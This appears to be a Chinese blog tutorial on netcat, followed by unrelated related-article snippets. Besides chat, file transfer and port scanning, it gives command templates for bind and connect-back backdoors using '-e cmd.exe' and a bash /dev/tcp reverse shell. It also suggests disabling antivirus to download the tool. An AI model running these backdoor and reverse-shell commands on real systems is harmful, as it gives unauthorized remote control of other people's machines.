当前位置: 首页 > news >正文

netcat的使用

目录

netcat简介

nc的使用场景

nc实现通信

创建一个服务端

创建一个客户端

具体案例

环境

win10在具体路径下执行命令

win7在具体路径下执行命令

netcat文件传输

nc文件传输的利用

服务器等待接收文件

客户端向服务器发送文件

服务器向连接的客户端发送文件

客户端向服务器接收文件

netcat的信息探测

端口扫描

banner抓取

netcat建立后门

建立监听后门

创建一个服务器端

创建一个客户端

建立连接型后门

创建一个服务端

创建一个客户端

netcat的命令参数介绍

参数

netcat连接转发

前言

连接转发案例

环境配置

win7目标机创建服务

win10内创建脚本文件

kail借助win10连接win7

netcat反弹shell

PC接收netcat命令

linux内反弹shell

netcat简介

在网络中有瑞士军刀美誉的netcat,在我们用了N年后依然爱不释手,这是一个非常简单易用的基于TCP/IP协议的瑞士军刀。

nc下载地址:https://eternallybored.org/misc/netcat/

注意:这里下载的时候会报出包含病毒,关闭杀毒软件忽略即可

nc的使用场景

解释:客户端连接服务器会被防火墙阻止,但是服务器访问客户端不会被防火墙拦截;因此可以把服务器作为nc客户端,客户端电脑作为nc服务端来进行连接

nc实现通信

创建一个服务端

语法:nc -l -p 端口

参数:

  • -l:监听模式
  • -p:监听的端口

解释:创建一个nc服务端用来监听该服务端端口的连接状态

创建一个客户端

语法:nc 要连接的服务端IP地址 要连接的服务端端口

解释:创建一个客户端用来连接特定服务端

具体案例

环境

  • win10客户机:使用桥接模式(IP地址:192.168.1.22)
  • win7客户机:使用nat模式(IP地址:192.168.126.155)

注意:win7有网关,处于内网环境,可以连接桥接的win10

win10在具体路径下执行命令

win7在具体路径下执行命令

结果:就可以在命令行相互通信了

netcat文件传输

nc文件传输的利用

  • 取证:当目标机器被黑客攻击之后,取证人员可以利用nc的文件传输功能来获取目标机器上的文件内容,避免直接在目标机器上进行操作造成取证的误差
  • 获取目标机器上的敏感文件:当目标机器上有一些文件内容无法正常下载时,可以利用nc进行文件传输

注意:nc中的数据传输使用的是标准输入、输出流,所以可以直接利用命令来进行操作

服务器等待接收文件

语法:nc -l -p 本地端口 > 服务器本地文件名

解释:将服务器接收的文件内容输出到文件中

客户端向服务器发送文件

语法:nc 服务器IP地址 服务器端口 < 客户端的文件名

解释:将客户端内的具体文件发送到服务器中

服务器向连接的客户端发送文件

语法:nc -l -p 本地端口 < 服务器本地文件名

客户端向服务器接收文件

语法:nc 服务器IP地址 服务器端口 > 文件名

netcat的信息探测

端口扫描

命令:nc -v -n -z -w1 目标IP 起始端口号-中止的端口号

参数

  • -v:对错误进行详细的输出
  • -n:不对目标机器进行DNS解析
  • -z:zero I/O模式,专门用于端口扫描;表示对目标IP发送的数据表中不包含任何的payload,这样做可以加快扫描速度
  • -w1:超时设置为1s

banner抓取

语法:echo "" | nc -v -n -w1 目标IP 起始端口-结束端口

注意:通过banner信息就可以获取目标机器上的某些信息(操作系统)

netcat建立后门

前言:netcat的一切数据都是通过标准输入/输出流实现的,所以可以利用netcat的命令进行后门的建立,并传输结果信息

建立监听后门

创建一个服务器端

语法:nc -l -p 本地端口 -e cmd.exe

注意:-e表示连接之后要返回给连接端对应的程序

创建一个客户端

语法:nc 服务器IP地址 服务器端口

结果:在客户端返回服务端的cmd(linux中使用的是bash)

建立连接型后门

创建一个服务端

语法:nc -l -p 本地端口

创建一个客户端

语法:nc 服务端IP地址 服务端端口 -e cmd.exe

理解:当客户端连接服务器时就会把客户端的cmd返回给服务器

netcat的命令参数介绍

查看nc命令参数:nc -h

参数

  • -d:脱离命令行窗口,在后台运行
  • -e:执行某个程序,常用于后门建立过程
  • -G gateway:设置网关,常用于突破内网限制
  • -g num:表示路由的跳数
  • -i sec:设置发送每一行数据的时间间隔,单位s
  • -l:设置netcat处于监听状态,等待连接
  • -L:设置netcat处于监听状态,等待连接(当客户端断开,服务端依旧回到等待状态)
  • -n:设置netcat只是识别IP地址,不进行dns解析
  • -o:设置传输16进制的数据
  • -p:设置本地监听的端口号
  • -r:设置netcat随机化的端口号
  • -s:用于设置netcat的源地址(用于隐藏自己IP)
  • -t:回复telnet的请求数据包
  • -u:设置netcat使用udp方式
  • -v:显示错误提示信息
  • -w secs:用来设置连接超时秒数
  • -z:设置扫描模式,表示发送的数据包不包含任何payload

注意:netcat的所有请求默认都是使用TCP协议

netcat连接转发

前言

理解:两台服务器可以互相访问,一台笔记本仅可以与右边的服务器进行相互访问,此时该笔记本想要与上面的服务器互相访问就需要借助右边的服务器进行连接转发

连接转发案例

环境配置

  • win10物理机:用作转发服务器,IP地址为192.168.1.22
  • win7:用作内网服务器,nat模式,IP地址为192.168.126.155
  • kail:用作外面客户端,桥接模式

win7目标机创建服务

执行:nc.exe -l -p 2222

win10内创建脚本文件

注意:里面填的是要连接的目的ip与端口(win10必须能够与该服务器相互连接)

执行:nc.exe -l -p 3333 -e delay.bat

理解:连接win10的3333端口就会执行delay.bat脚本文件。

kail借助win10连接win7

执行:nc 192.168.1.22 3333

结果:执行该命令后就会与win7连接

netcat反弹shell

前言:某些情况下拿到服务器权限之后,想要设置一个反弹shell,但是目标服务器上没有安装netcat就需要此功能

PC接收netcat命令

语法:nc -lvp 本地端口

linux内反弹shell

语法:bash -i >& /dev/tcp/反弹的目标ip/目标port 0>&1

解释:

  • 在命令行中bash -i表示交互模式运行bash shell。重定向符>&,若在其后加文件描述符,是将bash -i交互模式传递给文件描述符,而若其后是文件,则将bash -i交互模式传递给文件。
  • 文件描述符(0:标准输入,1:标准输出,2:错误输入输出)命令中0>&1表示将标准输入重定向到标准输出,实现远程的输入可以在远程输出对应内容

相关文章:

netcat的使用

目录 netcat简介 nc的使用场景 nc实现通信 创建一个服务端 创建一个客户端 具体案例 环境 win10在具体路径下执行命令 win7在具体路径下执行命令 netcat文件传输 nc文件传输的利用 服务器等待接收文件 客户端向服务器发送文件 服务器向连接的客户端发送文件 客户…...

深度学习推荐系统(二)Deep Crossing及其在Criteo数据集上的应用

深度学习推荐系统(二)Deep Crossing及其在Criteo数据集上的应用 在2016年&#xff0c; 随着微软的Deep Crossing&#xff0c; 谷歌的Wide&Deep以及FNN、PNN等一大批优秀的深度学习模型被提出&#xff0c; 推荐系统全面进入了深度学习时代&#xff0c; 时至今日&#xff0c…...

前端常用 Vue3 项目组件大全

Vue.js 是一种流行的 JavaScript 前端框架&#xff0c;它简化了构建交互式的用户界面的过程。Vue3 是 Vue.js 的最新版本&#xff0c;引入了许多新的特性和改进。在 Vue3 中&#xff0c;组件是构建应用程序的核心部分&#xff0c;它们可以重用、组合和嵌套。下面是一些前端开发…...

javaee spring 静态代理

静态代理 package com.test.staticProxy;public interface IUsersService {public void insert(); }package com.test.staticProxy;//目标类 public class UsersService implements IUsersService {Overridepublic void insert() {System.out.println("添加用户");…...

Java 包装类和Arrays类(详细解释)

目录 包装类 作用介绍 包装类的特有功能 Arrays类 Arrays.fill() Arrays.toString() Arrays.sort() 升序排序 降序排序 Arrays.equals() Arrays.copyOf() Arrays.binarySearch() 包装类 作用介绍 包装类其实就是8种基本数据类型对应的引用类型。 基本数据类型引用…...

elementUi中的el-table表格的内容根据后端返回的数据用不同的颜色展示

效果图如下&#xff1a; 首先 首先&#xff1a;需要在表格行加入 <template slot-scope"{ row }"> </template>标签 <el-table-column prop"usable" align"center" label"状态" width"180" ><templ…...

在访问一个网页时弹出的浏览器窗口,如何用selenium 网页自动化解决?

相信大家在使用selenium做网页自动化时&#xff0c;会遇到如下这样的一个场景&#xff1a; 在你使用get访问某一个网址时&#xff0c;会在页面中弹出如上图所示的弹出框。 首先想到是利用Alert类来处理它。 然而&#xff0c;很不幸&#xff0c;Alert类处理的结果就是没有结果…...

python 基于http方式与基于redis方式传输摄像头图片数据的实现和对比

目录 0. 需求1. 基于http方式传递图片数据1.1 发送图片数据1.2 接收图片数据并可视化1.3 测试 2. 基于redis方式传递图片数据2.1 发送图片数据2.2 接收图片数据并可视化2.3 测试 3. 对比 0. 需求 在不同进程或者不同语言间传递摄像头图片数据&#xff0c;比如从java实现的代码…...

快速使用Git完整开发

本系列有两篇文章&#xff1a; 一是本篇&#xff0c;主要说明了关于Git工具的基础使用&#xff0c;包含三板斧&#xff08;git add、git commit、git push&#xff09;、Git基本配置、版本回退、分支管理、公钥与私钥、远端仓库和远端分支、忽略文件、命令别名、标签等内容。二…...

鲁棒优化入门(7)—Matlab+Yalmip两阶段鲁棒优化通用编程指南(下)

0.引言 上一篇博客介绍了使用Yalmip工具箱求解单阶段鲁棒优化的方法。这篇文章将和大家一起继续研究如何使用Yalmip工具箱求解两阶段鲁棒优化(默认看到这篇博客时已经有一定的基础了&#xff0c;如果没有可以看看我专栏里的其他文章)。关于两阶段鲁棒优化与列与约束生成算法的原…...

Docker技术--Docker中的网络问题

1.docker中的网络通信 如果想要弄清楚docker中的网络通信问题,其实需要弄清楚这几个问题就可以:容器与容器之间的通信、容器与外部网络之间的通信、外部网络与容器之间的通信。 -a:容器与容器之间的通信,如下所示: 在默认情况下,docker使用网桥(Bridge模式)与NAT通信。这…...

ASP.NET Core 中的两种 Web API

ASP.NET Core 有两种创建 RESTful Web API 的方式&#xff1a; 基于 Controller&#xff0c;使用完整的基于ControllerBase的基类定义接口endpoints。基于 Minimal APIs&#xff0c;使用Lambda表达式定义接口 endpoints。 基于 Controller 的 Web API 可以使用构造函数注入&a…...

【线程池】如何判断线程池中的任务执行完毕(三)

目录 前言 1. isTerminated()方法 2. awaitTermination()方法 3.getTaskCount()方法和executor.getCompletedTaskCount()方法结合使用 4.使用CountDownlatch类 前言 通常我们使用线程池的时候&#xff0c;系统处于运行的状态&#xff0c;而线程池本身就是主要为了线程复用&…...

Qt/C++编写视频监控系统81-Onvif报警抓图和录像并回放

一、前言 视频监控系统中的图文警情模块&#xff0c;是通过Onvif协议的事件订阅拿到的&#xff0c;通过事件订阅后&#xff0c;设备的各种报警事件比如入侵报警/遮挡报警/越界报警/开关量报警等&#xff0c;触发后都会主动往订阅者发送&#xff0c;而且一般都是会发送两次&…...

浅谈安防视频监控平台EasyCVR视频汇聚平台对于夏季可视化智能溺水安全告警平台的重要性

每年夏天都是溺水事故高发的时期&#xff0c;许多未成年人喜欢在有水源的地方嬉戏&#xff0c;这导致了悲剧的发生。常见的溺水事故发生地包括水库、水坑、池塘、河流、溪边和海边等场所。 为了加强溺水风险的提示和预警&#xff0c;完善各类安全防护设施&#xff0c;并及时发现…...

基于单片机的串行通信发射机设计

一、项目介绍 串行通信是一种常见的数据传输方式&#xff0c;允许将数据以比特流的形式在发送端和接收端之间传输。当前实现基于STC89C52单片机的串行通信发射机&#xff0c;通过红外发射管和接收头实现自定义协议的数据无线传输。 二、系统设计 2.1 单片机选择 在本设计中&…...

MySQL数据库——多表查询(3)-自连接、联合查询、子查询

目录 自连接 查询语法 自连接演示 联合查询 查询语法 子查询 介绍 标量子查询 列子查询 行子查询 表子查询 自连接 通过前面的学习&#xff0c;我们对于连接已经有了一定的理解。而自连接&#xff0c;通俗地去理解就是自己连接自己&#xff0c;即一张表查询多次。…...

day53 动规.p14 子序列

- 1143.最长公共子序列 cpp class Solution { public: int longestCommonSubsequence(string text1, string text2) { vector<vector<int>> dp(text1.size() 1, vector<int>(text2.size() 1, 0)); for (int i 1; i < text1.size(…...

将docker打包成镜像并保存到本地

如果想重装系统&#xff0c;又不想破坏docker里面配好的环境&#xff0c;那么可以将docker镜像打包到本地进行保存。 1. 将docker打包成镜像 命令&#xff1a;docker commit 容器id 镜像名:tag 使用docker ps -a即可查看容器相关信息 docker commit dd25c7c6bf17 zm_cu101:c…...

Harmony数据存储工具类

使用的是mmkv 1、安装mmkv ohpm install @ohos/mmkv2、封装 import{MMKV, SerializeBase} from @ohos/mmkv/*** 数据存储工具类*/ class MMKVUtil{private filePath:string = private cachePath:string = private mmkv:MMKVprivate mmapID:string="MMKV"construct…...

KubeSphere 容器平台高可用:环境搭建与可视化操作指南

Linux_k8s篇 欢迎来到Linux的世界&#xff0c;看笔记好好学多敲多打&#xff0c;每个人都是大神&#xff01; 题目&#xff1a;KubeSphere 容器平台高可用&#xff1a;环境搭建与可视化操作指南 版本号: 1.0,0 作者: 老王要学习 日期: 2025.06.05 适用环境: Ubuntu22 文档说…...

【大模型RAG】拍照搜题技术架构速览:三层管道、两级检索、兜底大模型

摘要 拍照搜题系统采用“三层管道&#xff08;多模态 OCR → 语义检索 → 答案渲染&#xff09;、两级检索&#xff08;倒排 BM25 向量 HNSW&#xff09;并以大语言模型兜底”的整体框架&#xff1a; 多模态 OCR 层 将题目图片经过超分、去噪、倾斜校正后&#xff0c;分别用…...

【机器视觉】单目测距——运动结构恢复

ps&#xff1a;图是随便找的&#xff0c;为了凑个封面 前言 在前面对光流法进行进一步改进&#xff0c;希望将2D光流推广至3D场景流时&#xff0c;发现2D转3D过程中存在尺度歧义问题&#xff0c;需要补全摄像头拍摄图像中缺失的深度信息&#xff0c;否则解空间不收敛&#xf…...

【2025年】解决Burpsuite抓不到https包的问题

环境&#xff1a;windows11 burpsuite:2025.5 在抓取https网站时&#xff0c;burpsuite抓取不到https数据包&#xff0c;只显示&#xff1a; 解决该问题只需如下三个步骤&#xff1a; 1、浏览器中访问 http://burp 2、下载 CA certificate 证书 3、在设置--隐私与安全--…...

如何为服务器生成TLS证书

TLS&#xff08;Transport Layer Security&#xff09;证书是确保网络通信安全的重要手段&#xff0c;它通过加密技术保护传输的数据不被窃听和篡改。在服务器上配置TLS证书&#xff0c;可以使用户通过HTTPS协议安全地访问您的网站。本文将详细介绍如何在服务器上生成一个TLS证…...

现代密码学 | 椭圆曲线密码学—附py代码

Elliptic Curve Cryptography 椭圆曲线密码学&#xff08;ECC&#xff09;是一种基于有限域上椭圆曲线数学特性的公钥加密技术。其核心原理涉及椭圆曲线的代数性质、离散对数问题以及有限域上的运算。 椭圆曲线密码学是多种数字签名算法的基础&#xff0c;例如椭圆曲线数字签…...

JVM虚拟机:内存结构、垃圾回收、性能优化

1、JVM虚拟机的简介 Java 虚拟机(Java Virtual Machine 简称:JVM)是运行所有 Java 程序的抽象计算机,是 Java 语言的运行环境,实现了 Java 程序的跨平台特性。JVM 屏蔽了与具体操作系统平台相关的信息,使得 Java 程序只需生成在 JVM 上运行的目标代码(字节码),就可以…...

Python基于历史模拟方法实现投资组合风险管理的VaR与ES模型项目实战

说明&#xff1a;这是一个机器学习实战项目&#xff08;附带数据代码文档&#xff09;&#xff0c;如需数据代码文档可以直接到文章最后关注获取。 1.项目背景 在金融市场日益复杂和波动加剧的背景下&#xff0c;风险管理成为金融机构和个人投资者关注的核心议题之一。VaR&…...

【Android】Android 开发 ADB 常用指令

查看当前连接的设备 adb devices 连接设备 adb connect 设备IP 断开已连接的设备 adb disconnect 设备IP 安装应用 adb install 安装包的路径 卸载应用 adb uninstall 应用包名 查看已安装的应用包名 adb shell pm list packages 查看已安装的第三方应用包名 adb shell pm list…...

第7篇:中间件全链路监控与 SQL 性能分析实践

7.1 章节导读 在构建数据库中间件的过程中&#xff0c;可观测性 和 性能分析 是保障系统稳定性与可维护性的核心能力。 特别是在复杂分布式场景中&#xff0c;必须做到&#xff1a; &#x1f50d; 追踪每一条 SQL 的生命周期&#xff08;从入口到数据库执行&#xff09;&#…...